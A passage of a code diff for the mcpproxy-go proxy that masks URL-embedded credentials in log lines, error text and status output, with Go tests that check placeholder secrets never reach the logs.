TestRetryAfterTransport_DoesNotLogRawURLCredentials(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Retry-After", "30") + w.WriteHeader(http.StatusTooManyRequests) + })) + defer srv.Close() + + rec := NewRetryAfterRecorder() + client := &http.Client{Transport: NewRetryAfterTransport(http.DefaultTransport, rec, zap.New(core))} + + req, err := http.NewRequest(http.MethodGet, srv.URL+"/mcp?token=urlsecret999&debug=1", http.NoBody) + assert.NoError(t, err) + req.URL.User = url.UserPassword("alice", "hunter2phrase") + + resp, err := client.Do(req) + assert.NoError(t, err) + defer resp.Body.Close() + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + assert.Contains(t, b.String(), "back off", "precondition: the back-off line was emitted") + assert.NotContains(t, b.String(), "urlsecret999", "the query credential must not reach the log") + assert.NotContains(t, b.String(), "hunter2phrase", "the userinfo password must not reach the log") + assert.Contains(t, b.String(), "debug=1", "non-sensitive parameters must stay readable") +} + +// TestCreateOAuthClient_DoesNotLogRawURLThroughTheError is the last sweep site +// in internal/transport (issue #1148, round 4): the two OAuth client-creation +// failures logged the constructor error with a bare zap.Error. mcp-go builds +// that error from url.Parse, and net/url's *url.Error quotes the raw URL it was +// handed — so a malformed URL carrying a credential wrote it to the log even +// though the sibling `url` fields on the very same function are masked. +func TestCreateOAuthClient_DoesNotLogRawURLThroughTheError(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + restore := zap.ReplaceGlobals(zap.New(core)) + defer restore() + + // A DEL control byte makes url.Parse fail while the credentials stay in the + // string the error quotes back. + bad := "https://alice:hunter2phrase@host/mcp?token=urlsecret999\x7f" + + _, err := CreateHTTPClient(&HTTPTransportConfig{ + URL: bad, + UseOAuth: true, + OAuthConfig: &client.OAuthConfig{}, + }) + assert.Error(t, err, "precondition: the malformed URL must fail construction") + + rendered := renderEntries(logs.All()) + assert.Contains(t, rendered, "Failed to create OAuth client", "precondition: the site under test ran") + assert.NotContains(t, rendered, "urlsecret999") + assert.NotContains(t, rendered, "hunter2phrase") +} + +// renderEntries flattens observed entries INCLUDING the non-string fields, so a +// credential riding inside a zap.Error cannot slip past the assertion. +func renderEntries(entries []observer.LoggedEntry) string { + var b strings.Builder + for _, entry := range entries { + b.WriteString(entry.Message) + b.WriteString(" ") + b.WriteString(fmt.Sprint(entry.ContextMap())) + b.WriteString("\n") + } + return b.String() +} diff --git a/internal/transport/logging.go b/internal/transport/logging.go index 089af0876..fa3c39316 100644 --- a/internal/transport/logging.go +++ b/internal/transport/logging.go @@ -11,6 +11,8 @@ import ( "time" "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" ) // LoggingTransport wraps http.RoundTripper to log all HTTP traffic including SSE frames @@ -58,9 +60,13 @@ func (t *LoggingTransport) RoundTrip(req *http.Request) (*http.Response, error) duration := time.Since(startTime) if err != nil { - fmt.Printf("❌ HTTP REQUEST FAILED: %v (duration: %v)\n", err, duration) + // #1148: the transport error quotes the request URL, credentials and + // all. Both sinks get the redacted rendering; the error itself is + // returned untouched to the caller. + safeErr := oauth.RedactSensitiveData(err.Error()) + fmt.Printf("❌ HTTP REQUEST FAILED: %v (duration: %v)\n", safeErr, duration) t.logger.Error("❌ HTTP REQUEST FAILED", - zap.Error(err), + logSafeErrorField(err), zap.Duration("duration", duration)) return nil, err } @@ -190,7 +196,9 @@ func (lr *loggingReader) readSSEFramesFromPipe(pr *io.PipeReader) { } if err := scanner.Err(); err != nil { - lr.logger.Error("❌ SSE STREAM ERROR", zap.Error(err)) + // #1148 round 4: a stream read can fail with a *url.Error that quotes + // the request URL, credentials and all. + lr.logger.Error("❌ SSE STREAM ERROR", logSafeErrorField(err)) } lr.logger.Info("🔴 SSE STREAM CLOSED", diff --git a/internal/transport/retry_after.go b/internal/transport/retry_after.go index cbfaa8eb0..250b16b9f 100644 --- a/internal/transport/retry_after.go +++ b/internal/transport/retry_after.go @@ -8,6 +8,8 @@ import ( "time" "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" ) // MaxRetryAfterDelay caps how long an upstream-supplied Retry-After may park a @@ -185,7 +187,11 @@ func (t *RetryAfterTransport) RoundTrip(req *http.Request) (*http.Response, erro if !deadline.IsZero() { t.logger.Info("Upstream asked us to back off", zap.Int("status", resp.StatusCode), - zap.String("url", req.URL.Redacted()), + // Issue #1148, round 4: url.URL.Redacted() masks ONLY the userinfo + // password — it leaves `?token=…` in the query verbatim, and this + // line fires at Info on every 429/503-with-a-hint. Route it through + // the project's own redactor, which masks both. + zap.String("url", oauth.RedactURLQueryParams(req.URL.String())), zap.Duration("retry_after", delay), zap.Time("retry_not_before", deadline)) } diff --git a/internal/upstream/cli/client.go b/internal/upstream/cli/client.go index c15521385..ffbc63ad9 100644 --- a/internal/upstream/cli/client.go +++ b/internal/upstream/cli/client.go @@ -102,10 +102,12 @@ func (c *Client) Close() error { // Connect establishes connection with detailed progress output func (c *Client) Connect(ctx context.Context) error { + // #1148: never log the configured URL raw — it can embed the credential + // in its query or userinfo, and the CLI writes this line to the same log. c.logger.Info("🔗 Starting connection to upstream server", zap.String("server", c.config.Name), zap.String("transport", c.getTransportType()), - zap.String("url", c.config.URL), + zap.String("url", oauth.RedactURLQueryParams(c.config.URL)), zap.String("command", c.config.Command)) // Enable JSON-RPC frame logging if trace level is enabled diff --git a/internal/upstream/core/connection.go b/internal/upstream/core/connection.go index a4a8e8226..d7e440688 100644 --- a/internal/upstream/core/connection.go +++ b/internal/upstream/core/connection.go @@ -6,6 +6,7 @@ import ( "os" "time" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" "go.uber.org/zap" @@ -51,6 +52,67 @@ const ( // parseOAuthError extracts structured error information from OAuth provider responses // Connect establishes connection to the upstream server +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// query credentials masked (issue #1148). +// +// Connect() logs the URL on every attempt, to main.log and to the per-server +// server-.log — and `upstream_servers tail_log` hands the latter to any +// MCP caller. A URL is one of the commonest places an MCP credential lives +// (`?token=…`, an Azure SAS `sig=`, an AWS `X-Amz-Signature=`), so the value is +// masked at the point it is written rather than only where it is read back: +// the file outlives the process and is readable by anything with disk access. +// +// The host and path survive, which is what makes the line diagnostic. +func (c *Client) logSafeURL() string { + if c.config == nil { + return "" + } + return oauth.RedactURLQueryParams(c.config.URL) +} + +// redactURLCredentialsInError strips URL-embedded credentials from an error's +// TEXT while keeping the error itself intact for errors.Is/As and for the +// substring classification the connect paths do (isAuthError, isConfigError, +// "connection refused"): only the sensitive query values and userinfo +// passwords are rewritten. +// +// Issue #1148, round 3: masking the `url` LOG FIELDS is not enough, because the +// transport error carries the same URL inside its message — +// `Post "http://host/mcp?token=…": dial tcp: connection refused` — and that +// message is logged at Error level by the manager on every failed attempt, is +// written to the per-server log, and is stored as the client's last error. +// Redacting once, where the transport error enters mcpproxy, is what keeps a +// future log site from re-leaking it. +func redactURLCredentialsInError(err error) error { + if err == nil { + return nil + } + msg := oauth.RedactSensitiveData(err.Error()) + if msg == err.Error() { + return err + } + return &urlRedactedError{msg: msg, cause: err} +} + +// urlRedactedError re-renders an error's message with credentials removed and +// keeps the original reachable through Unwrap. +type urlRedactedError struct { + msg string + cause error +} + +func (e *urlRedactedError) Error() string { return e.msg } +func (e *urlRedactedError) Unwrap() error { return e.cause } + +// logSafeErrorField renders an error as a log field with any URL-embedded +// credential removed. Use it instead of zap.Error on the connection paths. +func logSafeErrorField(err error) zap.Field { + if err == nil { + return zap.Skip() + } + return zap.String("error", oauth.RedactSensitiveData(err.Error())) +} + func (c *Client) Connect(ctx context.Context) error { c.mu.Lock() defer c.mu.Unlock() @@ -98,7 +160,7 @@ func (c *Client) Connect(ctx context.Context) error { c.logger.Info("Connecting to upstream MCP server", zap.String("server", c.config.Name), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.String("command", c.config.Command), zap.String("protocol", c.config.Protocol)) @@ -109,7 +171,7 @@ func (c *Client) Connect(ctx context.Context) error { if c.upstreamLogger != nil { c.upstreamLogger.Info("Starting connection attempt", zap.String("transport", c.transportType), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.String("command", c.config.Command), zap.String("protocol", c.config.Protocol)) } @@ -118,7 +180,7 @@ func (c *Client) Connect(ctx context.Context) error { c.logger.Debug("🔍 Transport Type Determination", zap.String("server", c.config.Name), zap.String("command", c.config.Command), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.String("protocol", c.config.Protocol), zap.String("determined_transport", c.transportType)) @@ -154,6 +216,12 @@ func (c *Client) Connect(ctx context.Context) error { } if err != nil { + // #1148: the transport error text embeds the configured URL, credentials + // and all. Redact it HERE, before it is logged, returned, or stored as + // the client's last error — every consumer downstream inherits the safe + // rendering, and the original is still reachable through Unwrap. + err = redactURLCredentialsInError(err) + // Log connection failure to server-specific log if c.upstreamLogger != nil { c.upstreamLogger.Error("Connection failed", diff --git a/internal/upstream/core/connection_http.go b/internal/upstream/core/connection_http.go index f2854295e..7a6a00b08 100644 --- a/internal/upstream/core/connection_http.go +++ b/internal/upstream/core/connection_http.go @@ -63,7 +63,9 @@ func (c *Client) connectHTTP(ctx context.Context) error { c.logger.Debug("🚫 Auth strategy failed", zap.Int("strategy_index", i), zap.String("strategy", strategy.name), - zap.Error(err)) + // #1148: the transport error quotes the request URL with its + // query credential; this fires on every failed attempt. + logSafeErrorField(err)) // For configuration errors (like no headers), always try next strategy if c.isConfigError(err) { @@ -112,7 +114,8 @@ func (c *Client) connectSSE(ctx context.Context) error { c.logger.Debug("🚫 SSE auth strategy failed", zap.Int("strategy_index", i), zap.String("strategy", strategyName), - zap.Error(err)) + // #1148: see the HTTP strategy loop above. + logSafeErrorField(err)) // For configuration errors (like no headers), always try next strategy if c.isConfigError(err) { @@ -241,7 +244,8 @@ func (c *Client) trySSEHeadersAuth(ctx context.Context) error { c.client.OnConnectionLost(func(err error) { c.logger.Warn("⚠️ SSE connection lost detected", zap.String("server", c.config.Name), - zap.Error(err), + // #1148: a dropped-stream error quotes the stream URL. + logSafeErrorField(err), zap.String("transport", "sse"), zap.String("note", "Connection dropped by server or network - will attempt reconnection")) }) @@ -282,7 +286,8 @@ func (c *Client) trySSENoAuth(ctx context.Context) error { c.client.OnConnectionLost(func(err error) { c.logger.Warn("⚠️ SSE connection lost detected", zap.String("server", c.config.Name), - zap.Error(err), + // #1148: a dropped-stream error quotes the stream URL. + logSafeErrorField(err), zap.String("transport", "sse"), zap.String("note", "Connection dropped by server or network - will attempt reconnection")) }) diff --git a/internal/upstream/core/connection_launcher.go b/internal/upstream/core/connection_launcher.go index f9ce20241..36287bedc 100644 --- a/internal/upstream/core/connection_launcher.go +++ b/internal/upstream/core/connection_launcher.go @@ -116,7 +116,7 @@ func (c *Client) connectWithLauncher(ctx context.Context) error { c.logger.Info("waiting for upstream URL to become reachable", zap.String("server", c.config.Name), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.Duration("timeout", waitTimeout)) if err := launcher.WaitForURL(ctx, c.config.URL, waitTimeout); err != nil { @@ -145,7 +145,7 @@ func (c *Client) connectWithLauncher(ctx context.Context) error { c.logger.Info("upstream URL is reachable", zap.String("server", c.config.Name), - zap.String("url", c.config.URL)) + zap.String("url", c.logSafeURL())) return nil } diff --git a/internal/upstream/core/connection_oauth.go b/internal/upstream/core/connection_oauth.go index 1306a1a9c..ea5c638db 100644 --- a/internal/upstream/core/connection_oauth.go +++ b/internal/upstream/core/connection_oauth.go @@ -200,7 +200,7 @@ func (c *Client) tryOAuthAuth(ctx context.Context) error { } logger.Debug("🔐 Attempting OAuth authentication", - zap.String("url", c.config.URL)) + zap.String("url", c.logSafeURL())) // Mark OAuth as in progress (local state, coordinator handles cross-goroutine coordination) c.markOAuthInProgress() @@ -445,7 +445,7 @@ func (c *Client) tryOAuthAuth(ctx context.Context) error { } c.logger.Error("⚠️ ENDPOINT DEPRECATED: Server has migrated to a new URL", zap.String("server", c.config.Name), - zap.String("current_url", c.config.URL), + zap.String("current_url", c.logSafeURL()), // #1148: query/userinfo credentials zap.String("correlation_id", correlationID), zap.String("action", "Update the server URL in your configuration"), zap.String("hint", "Check the server's documentation or try removing /sse from the URL"), @@ -642,7 +642,7 @@ func (c *Client) trySSEOAuthAuth(ctx context.Context) error { } logger.Debug("🔐 Attempting SSE OAuth authentication", - zap.String("url", c.config.URL)) + zap.String("url", c.logSafeURL())) // Mark OAuth as in progress c.markOAuthInProgress() @@ -2093,7 +2093,7 @@ func (c *Client) emptyClientIDFlowError(authURL, correlationID string, dcrErr er } c.logger.Error("❌ OAuth provider requires a client_id but none is available (DCR unsupported or failed)", zap.String("server", c.config.Name), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.NamedError("dcr_error", dcrErr), zap.String("help", "Register an OAuth app with the provider and set oauth.client_id in the server config")) details := &contracts.OAuthErrorDetails{ diff --git a/internal/upstream/core/connection_url_redact_test.go b/internal/upstream/core/connection_url_redact_test.go new file mode 100644 index 000000000..32ee4228d --- /dev/null +++ b/internal/upstream/core/connection_url_redact_test.go @@ -0,0 +1,77 @@ +package core + +import ( + "errors" + "fmt" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// TestLogSafeURL_RedactsQueryCredentials covers the SOURCE half of issue #1148 +// (c2). Connect() logged zap.String("url", c.config.URL) into both main.log and +// the per-server server-.log, so a URL-embedded credential +// (`https://host/mcp?token=…`, an Azure SAS `sig=`, an AWS `X-Amz-Signature=`) +// was written to disk on every connection attempt — and `tail_log` then handed +// those lines to any MCP caller. +// +// Scrubbing at the tail_log read seam is necessary but not sufficient: the file +// itself is readable by anything with disk access, and it outlives the process. +func TestLogSafeURL_RedactsQueryCredentials(t *testing.T) { + cases := []struct { + name string + url string + secret string + }{ + {"token query param", "https://host/mcp?token=urlsecret999", "urlsecret999"}, + {"azure sas signature", "https://host/mcp?sig=sasSECRET123", "sasSECRET123"}, + {"access token", "https://host/mcp?access_token=at-SECRET-42", "at-SECRET-42"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + c := &Client{config: &config.ServerConfig{Name: "srv", URL: tc.url}} + got := c.logSafeURL() + assert.NotContains(t, got, tc.secret, "the configured URL must never be logged with its credential") + assert.True(t, strings.HasPrefix(got, "https://host/mcp"), "the diagnostic part of the URL must survive, got %q", got) + }) + } + + // A credential-free URL is untouched, so ordinary debugging is unaffected. + plain := &Client{config: &config.ServerConfig{URL: "https://host/mcp?debug=1"}} + assert.Equal(t, "https://host/mcp?debug=1", plain.logSafeURL()) + + // An empty URL (stdio servers) stays empty rather than becoming a marker. + empty := &Client{config: &config.ServerConfig{}} + assert.Equal(t, "", empty.logSafeURL()) +} + +// TestRedactURLCredentialsInError covers issue #1148 round 3: masking the `url` +// log fields left the same credential travelling inside the transport error's +// own message, which the manager logs at Error level on every failed attempt +// and the client keeps as its last error. +// +// The redaction must not cost the error its identity: the connect paths +// classify by errors.Is/As and by substring, and both have to keep working. +func TestRedactURLCredentialsInError(t *testing.T) { + cause := errors.New(`Post "https://host/mcp?token=urlsecret999": dial tcp: connection refused`) + wrapped := fmt.Errorf("failed to connect: %w", cause) + + got := redactURLCredentialsInError(wrapped) + + assert.NotContains(t, got.Error(), "urlsecret999", "the URL credential must not survive in the error text") + assert.Contains(t, got.Error(), "connection refused", "substring classification must keep working") + assert.True(t, errors.Is(got, cause), "the original error must stay reachable through Unwrap") + + t.Run("an error with nothing to redact is returned unchanged", func(t *testing.T) { + plain := errors.New("dial tcp 127.0.0.1:1: connection refused") + assert.Same(t, plain, redactURLCredentialsInError(plain)) + }) + + t.Run("nil stays nil", func(t *testing.T) { + assert.NoError(t, redactURLCredentialsInError(nil)) + }) +} diff --git a/internal/upstream/launcher/integration_test.go b/internal/upstream/launcher/integration_test.go index 6eb888059..66f5190c1 100644 --- a/internal/upstream/launcher/integration_test.go +++ b/internal/upstream/launcher/integration_test.go @@ -72,11 +72,21 @@ except KeyboardInterrupt: url := "http://127.0.0.1:" + itoa(port) + "/mcp" - ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + // The budget is generous on purpose. What this test proves is that Spawn and + // WaitForURL AGREE on a real listening child — not how fast a CI runner can + // start CPython. The original 3s had to cover process spawn + interpreter + // startup + the script's own 250ms pre-bind sleep, and a loaded + // ubuntu-latest runner blew it (PR #1162: "not reachable in 3s ... connection + // refused", while the same test runs in 0.41s locally). Widening the ceiling + // costs nothing — a genuinely broken WaitForURL still fails, just later — + // and the `elapsed >= 200ms` assertion below still pins the polling + // behaviour, because the child's 250ms sleep is what guarantees a first dial + // must miss. + ctx, cancel := context.WithTimeout(context.Background(), 40*time.Second) defer cancel() start := time.Now() - err = WaitForURL(ctx, url, 3*time.Second) + err = WaitForURL(ctx, url, 30*time.Second) elapsed := time.Since(start) assert.NoError(t, err) assert.GreaterOrEqual(t, elapsed, 200*time.Millisecond, "should have polled while python warmed up") diff --git a/internal/upstream/managed/client.go b/internal/upstream/managed/client.go index c0225e891..ad8e3c9fb 100644 --- a/internal/upstream/managed/client.go +++ b/internal/upstream/managed/client.go @@ -12,6 +12,7 @@ import ( "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" "github.com/smart-mcp-proxy/mcpproxy-go/internal/diagnostics" "github.com/smart-mcp-proxy/mcpproxy-go/internal/diagnostics/hints" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/secret" "github.com/smart-mcp-proxy/mcpproxy-go/internal/storage" "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" @@ -1079,6 +1080,24 @@ func (mc *Client) cancelInFlightConnect() { cancel() } +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// credential-bearing query parameters and any userinfo password masked. +// +// Issue #1148, round 4: the deprecated-endpoint branch of onStateChange below +// logged mc.GetConfig().URL verbatim, at Error level — the exact twin of the +// connection_oauth.go site round 3 fixed, and it fires on every 410 Gone from a +// server whose URL carries `?token=…`. The line goes to main.log and to the +// per-server log, and `upstream_servers tail_log` hands the latter to any MCP +// caller. Scheme, host, path and non-sensitive parameters survive, so the +// "your URL needs updating" advice stays actionable. +func (mc *Client) logSafeURL() string { + cfg := mc.GetConfig() + if cfg == nil { + return "" + } + return oauth.RedactURLQueryParams(cfg.URL) +} + // onStateChange handles state transition events func (mc *Client) onStateChange(oldState, newState types.ConnectionState, info *types.ConnectionInfo) { mc.logger.Info("State transition", @@ -1092,7 +1111,7 @@ func (mc *Client) onStateChange(oldState, newState types.ConnectionState, info * if mc.isDeprecatedEndpointError(info.LastError) { mc.logger.Error("⚠️ ENDPOINT DEPRECATED: Server URL needs to be updated", zap.String("server", mc.GetConfig().Name), - zap.String("current_url", mc.GetConfig().URL), + zap.String("current_url", mc.logSafeURL()), zap.String("error_type", "endpoint_deprecated"), zap.String("action", "Update the server URL in your configuration"), zap.String("hint", "The server may have migrated from /sse to /mcp - check the server's documentation"), diff --git a/internal/upstream/managed/client_url_redact_test.go b/internal/upstream/managed/client_url_redact_test.go new file mode 100644 index 000000000..a11dfa4a6 --- /dev/null +++ b/internal/upstream/managed/client_url_redact_test.go @@ -0,0 +1,54 @@ +package managed + +import ( + "errors" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "go.uber.org/zap/zaptest/observer" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/upstream/types" +) + +// TestOnStateChange_DeprecatedEndpointDoesNotLogRawURL covers issue #1148 +// round 4: the deprecated-endpoint branch of onStateChange logged the raw +// configured upstream URL as `current_url` at ERROR level — the exact twin of +// the connection_oauth.go site that round 3 fixed. A 410 Gone from a server +// whose URL carries `?token=…` (or basic-auth userinfo) wrote the credential +// straight into main.log and the per-server log, which +// `upstream_servers tail_log` hands back to any MCP caller. +func TestOnStateChange_DeprecatedEndpointDoesNotLogRawURL(t *testing.T) { + obsCore, logs := observer.New(zapcore.DebugLevel) + + mc := &Client{logger: zap.New(obsCore)} + mc.SetConfig(&config.ServerConfig{ + Name: "deprecated-server", + URL: "https://alice:hunter2phrase@host/sse?token=urlsecret999&debug=1", + }) + mc.StateManager = types.NewStateManager() + + mc.onStateChange(types.StateConnecting, types.StateError, &types.ConnectionInfo{ + State: types.StateError, + LastError: errors.New("410 Gone: this endpoint has been deprecated"), + }) + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + + assert.Contains(t, b.String(), "ENDPOINT DEPRECATED", "precondition: the deprecated-endpoint branch ran") + assert.NotContains(t, b.String(), "urlsecret999", "the query credential must not reach the log") + assert.NotContains(t, b.String(), "hunter2phrase", "the userinfo password must not reach the log") + assert.Contains(t, b.String(), "host/sse", "host and path must stay readable") + assert.Contains(t, b.String(), "debug=1", "non-sensitive parameters must stay readable") +} diff --git a/internal/upstream/manager.go b/internal/upstream/manager.go index b75956c84..e9ece0d04 100644 --- a/internal/upstream/manager.go +++ b/internal/upstream/manager.go @@ -1529,10 +1529,15 @@ func (m *Manager) ConnectAll(ctx context.Context) error { continue } + // #1148: the configured upstream URL can carry its credential in the + // query (`?token=…`) or the userinfo (`user:pass@`), and this line runs + // on every connect attempt, so the raw form would be written to + // main.log on a loop. Redacted through the same helper the core client + // and the HTTP transport use. m.logger.Info("Attempting to connect client", zap.String("id", id), zap.String("name", client.GetConfig().Name), - zap.String("url", client.GetConfig().URL), + zap.String("url", oauth.RedactURLQueryParams(client.GetConfig().URL)), zap.String("command", client.GetConfig().Command), zap.String("protocol", client.GetConfig().Protocol)) @@ -1684,7 +1689,22 @@ func (m *Manager) HasDockerContainers() bool { // GetStats returns statistics about upstream connections // GetStats returns statistics about all managed clients. // Phase 6 Fix: Lock-free implementation to prevent deadlock with async operations. +// +// Issue #1148, round 4: this map is not an internal counter — it is served +// verbatim as `upstream_stats` on GET /api/v1/status, on the /api/v1/servers +// response, and on every SSE `status` event, and it is what the tray renders. +// Its per-server entries therefore sit behind the same trust boundary as the +// server list on those same payloads, which httpapi.redactServerSecrets and +// Runtime.redactServerSecrets already mask. Leaving `url` and `last_error` raw +// here meant one half of a single response was masked and the other half was +// not. Mask them at the point they are written, honouring the same +// reveal_secret_headers opt-out the two sibling redactors honour. func (m *Manager) GetStats() map[string]interface{} { + revealSecrets := false + if gc := m.globalConfig.Load(); gc != nil { + revealSecrets = gc.RevealSecretHeaders + } + // Phase 6: Copy client references while holding lock briefly m.mu.RLock() clientsCopy := make(map[string]*managed.Client, len(m.clients)) @@ -1719,6 +1739,10 @@ func (m *Manager) GetStats() map[string]interface{} { } } + if !revealSecrets { + url = oauth.RedactURLQueryParams(url) + } + status := map[string]interface{}{ "state": connectionInfo.State.String(), "connected": connectionInfo.State == types.StateReady, @@ -1743,7 +1767,14 @@ func (m *Manager) GetStats() map[string]interface{} { } if connectionInfo.LastError != nil { - status["last_error"] = connectionInfo.LastError.Error() + lastError := connectionInfo.LastError.Error() + if !revealSecrets { + // A transport error quotes the request URL inside its own + // message (`Post "https://host/mcp?token=…": dial tcp …`), so + // masking the `url` key alone would not close this. + lastError = oauth.RedactSensitiveData(lastError) + } + status["last_error"] = lastError } if connectionInfo.ServerName != "" { diff --git a/internal/upstream/manager_url_redact_test.go b/internal/upstream/manager_url_redact_test.go new file mode 100644 index 000000000..020ba7771 --- /dev/null +++ b/internal/upstream/manager_url_redact_test.go @@ -0,0 +1,163 @@ +package upstream + +import ( + "context" + "fmt" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap" + "go.uber.org/zap/zaptest/observer" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/secret" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/storage" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/upstream/managed" +) + +// TestConnectAll_DoesNotLogTheConfiguredURLCredential covers issue #1148 at the +// one raw-URL log site the earlier rounds left behind. +// +// internal/upstream/core and internal/transport each grew a logSafeURL helper, +// but the manager's own "Attempting to connect client" line — which runs on +// every connect attempt, for every server, at Info — still wrote +// client.GetConfig().URL verbatim. A URL-embedded credential (`?token=…`, +// `user:pass@`) therefore kept landing in main.log on a loop, where `tail_log` +// and any process with disk access can read it. +// +// (Pre-existing: this line is identical on origin/main.) +func TestConnectAll_DoesNotLogTheConfiguredURLCredential(t *testing.T) { + const secret = "urlsecret999" + + core, logs := observer.New(zap.DebugLevel) + logger := zap.New(core) + + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + // Port 1 refuses immediately, so the attempt fails fast — the log line + // under test is emitted before the dial either way. + URL: "http://127.0.0.1:1/mcp?token=" + secret, + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + _ = manager.ConnectAll(ctx) + + entries := logs.All() + require.NotEmpty(t, entries, "precondition: ConnectAll must log the attempt") + for _, e := range entries { + rendered := e.Message + " " + fmt.Sprint(e.ContextMap()) + assert.NotContains(t, rendered, secret, + "the URL credential must never reach the log (entry: %s)", rendered) + } + assert.True(t, hasEntryContaining(entries, "Attempting to connect client"), + "precondition: the site under test must have run") +} + +func secret2Resolver() *secret.Resolver { return secret.NewResolver() } + +func hasEntryContaining(entries []observer.LoggedEntry, msg string) bool { + for _, e := range entries { + if strings.Contains(e.Message, msg) { + return true + } + } + return false +} + +// TestGetStats_MasksURLAndErrorCredentials covers issue #1148 round 4. +// +// GetStats builds the per-server status map that /api/v1/status, /api/v1/servers +// and the SSE `status` event all serve verbatim as `upstream_stats`, and it put +// cfg.URL in raw. The sibling surfaces on the very same responses — +// httpapi.redactServerSecrets and Runtime.redactServerSecrets — already mask +// exactly these fields, so half of one payload was masked and half was not. +func TestGetStats_MasksURLAndErrorCredentials(t *testing.T) { + const urlSecret = "urlsecret999" + + logger := zap.NewNop() + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + URL: "https://alice:hunter2phrase@host/mcp?token=" + urlSecret + "&debug=1", + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + manager.globalConfig.Store(&config.Config{}) + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + stats := manager.GetStats() + rendered := fmt.Sprint(stats) + + assert.Contains(t, rendered, "host/mcp", "precondition: the status map carries the URL") + assert.NotContains(t, rendered, urlSecret, "the query credential must not reach the status map") + assert.NotContains(t, rendered, "hunter2phrase", "the userinfo password must not reach the status map") + assert.Contains(t, rendered, "debug=1", "non-sensitive parameters must stay readable") +} + +// TestGetStats_RevealSecretHeadersOptOut mirrors the escape hatch the two +// sibling redactors honour, so a user who has deliberately opted in still sees +// the real URL on every surface rather than only some of them. +func TestGetStats_RevealSecretHeadersOptOut(t *testing.T) { + const urlSecret = "urlsecret999" + + logger := zap.NewNop() + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + URL: "https://host/mcp?token=" + urlSecret, + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + manager.globalConfig.Store(&config.Config{RevealSecretHeaders: true}) + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + assert.Contains(t, fmt.Sprint(manager.GetStats()), urlSecret, + "reveal_secret_headers:true must expose the real URL, as it does on /api/v1/servers") +}